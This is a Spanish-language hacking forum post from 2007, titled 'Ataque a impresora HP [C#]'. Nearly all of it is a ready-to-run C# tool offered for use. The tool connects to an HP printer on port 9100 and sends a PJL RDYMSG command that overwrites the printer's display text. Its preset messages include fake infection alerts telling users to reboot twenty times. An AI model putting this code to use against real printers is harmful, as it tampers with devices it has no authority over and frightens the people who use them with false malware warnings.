Vota por nosotros en el ranking web que participamos
Bienvenido(a),
Visitante
. Favor de
ingresar
o
registrarse
.
¿Perdiste tu
email de activación?
- Octubre 08, 2008, 05:05:44
Visita:
Articulos
-
Juegos Gratis
-
Da Foros
Comunidad Underground Hispana
|
Programacion
|
Programación
|
Carbide C/C#/C++
| Tema:
Ataque a impresora HP [C#]
0 Usuarios y 1 Visitante están viendo este tema.
« anterior
próximo »
Páginas:
[
1
]
Autor
Tema: Ataque a impresora HP [C#] (Leído 138 veces)
rukawa
Visitante
Ataque a impresora HP [C#]
«
en:
Diciembre 10, 2007, 10:33:35 »
Ataque a impresora HP [C#]
Este es un codigo sencillo no se quien es el creador original.
Funciona para impresoras HP
Yo solo modifique algunas partes como los mensajes que se imprimiran etc.
Los mensajes cada uno lo puede cambiar a su gusto.
namespace hphack
{
using System;
using System.Text;
using System.Net;
using System.Net.Sockets;
public class PrnHack
{
public static int Main(string[] args)
{
if(!ParseArgs(args))
{
return -1;
}
Console.WriteLine("\nHP Display Hack");
Console.WriteLine("Host: {0}", args[0]);
Console.WriteLine("Message: {0}\n", message);
IPEndPoint ipEndPoint;
ipEndPoint = new IPEndPoint( Dns.Resolve(args[0]).AddressList[0], PJL_PORT);
Console.WriteLine("Host is {0}", ipEndPoint.ToString());
Socket socket;
socket = new Socket(
AddressFamily.InterNetwork,
SocketType.Stream,
ProtocolType.Tcp
);
socket.Connect(ipEndPoint);
byte [] sendData;
string sendString;
sendString = String.Format(
"\x1B%-12345X @PJL RDYMSG DISPLAY = \"{0}\"\r\n\x1B%-12345X\r\n",
message
);
sendData = Encoding.ASCII.GetBytes(sendString);
int result;
result = socket.Send(sendData, sendData.Length, 0);
if(result == 0)
{
Console.WriteLine("Could not send on socket");
}
socket.Close();
Console.WriteLine("Finished\n\n");
return 0;
}
protected static bool ParseArgs(string[] args)
{
if(args.Length != 2)
{
Console.WriteLine(
"HP Display Hack: " +
"hphack printername \"message\" "
);
return false;
}
if(args[1].Length > 16)
{
Console.WriteLine("Message must be <= 16 characters");
return false;
}
if(args[1].CompareTo("random") == 0)
{
message = GetRandomMessage();
}
else
{
message = args[1];
}
return true;
}
public static string GetRandomMessage()
{
string [] Messages = {
"SIDVICIOUS",
"LOVES YOU",
"OK",
"LEAVE BRITNEY ALONE",
"SE LO QUE HICISTE EL VERANO PASADO",
"ESTAS INFECTADO ",
"REINICIA 20 VECES SI QUIERES DESINFECTARTE",
"JAJAJA NO EN REALIDAD NO ",
" PUEDEN PONER MAS MENSAJES ES SEGUN SU CREATIVIDAD ",
};
Random r = new Random();
return Messages[r.Next() % Messages.Length];
}
protected const int PJL_PORT = 9100;
protected static string message = "NO MESSAGE";
}
}
«
Última modificación: Diciembre 10, 2007, 10:34:13 por SιdVιcιoцs
»
En línea
Páginas:
[
1
]
Comunidad Underground Hispana
|
Programacion
|
Programación
|
Carbide C/C#/C++
| Tema:
Ataque a impresora HP [C#]
« anterior
próximo »
Ir a:
Por favor selecciona un destino:
-----------------------------
Foros De Consulta General
-----------------------------
=> Novedades
=> Dudas, Comentarios Y Sugerencias
=> Top 100
=> Off-Topic
=> Revista E-Zine
===> Noticias
-----------------------------
Phreaking, Hacking y Seguridad
-----------------------------
=> HacK GeneraL
===> Ingenieria Inversa
===> Encriptacion, Cryptografia
===> TV HACK
===> Cursos y Ezines
=====> Trucos Internet
=====> Textos Hacking
===> Defacing
=> Seguridad
=> Phreaking
===> Moviles
=> Bug y Exploits
===> Directorio de Exploits
=> Wargames, Retos Hack
-----------------------------
Hack Novato
-----------------------------
=> Hack para newbies
=> Todo Messenger
=> Troyanos y virus
-----------------------------
Sistemas Operativos
-----------------------------
=> Windows y otros sistemas operativos no libres
===> Problemas Tecnicos Windows
=> Sistemas operativos libres.
===> GNU/Linux
===> Manuales y Tutoriales
===> Descargas
-----------------------------
Programacion
-----------------------------
=> Programación
===> Programación Basica
===> Otros Lenguajes
===> Visual Basic y Net
===> ASM
===> Programacion Shell
===> Perl
===> Carbide C/C#/C++
===> Batch
===> SQL
=> Programacion para webmasters
===> Consultas Generales
===> Php
===> Html, XHTML, CSS
===> Java - Java Script
===> CMS O Scripts Pre-Fabricados
===> Posicionamiento en buscadores
-----------------------------
Artes Graficas
-----------------------------
=> Diseño Grafico
===> Battle Arts
===> Flash
===> Tutoriales
===> Galerías
===> Software
-----------------------------
Area Tecnica
-----------------------------
=> Networking & Wireless
=> Overclocking, Refrigeracion y demas
=> Hardware
===> Biblioteca Tecnica
=> Electronica Y Robotica
-----------------------------
Programas
-----------------------------
=> Software
===> Configuraciones de software
===> Pedidos de software
=> Cracks & Serialz
=> P2p, Bittorrent, Elinks
-----------------------------
Multimedia Y Divx
-----------------------------
=> Juegos PC Y Consolas
===> Dudas ayudas y comentarios de juegos
===> Pedidos de juegos
===> Juegos de Consola
=> Mp3
=> Multimedia
=> Peliculas Divx
-----------------------------
Entretenimiento Y sitios de interes
-----------------------------
=> Juegos, Humor y Adultos. (Diversión)
===> Adultos
=> Paginas Webs Recomendadas
=> Videos
Powered by SMF 1.1.6
|
SMF © 2006-2007, Simple Machines LLC
Loading...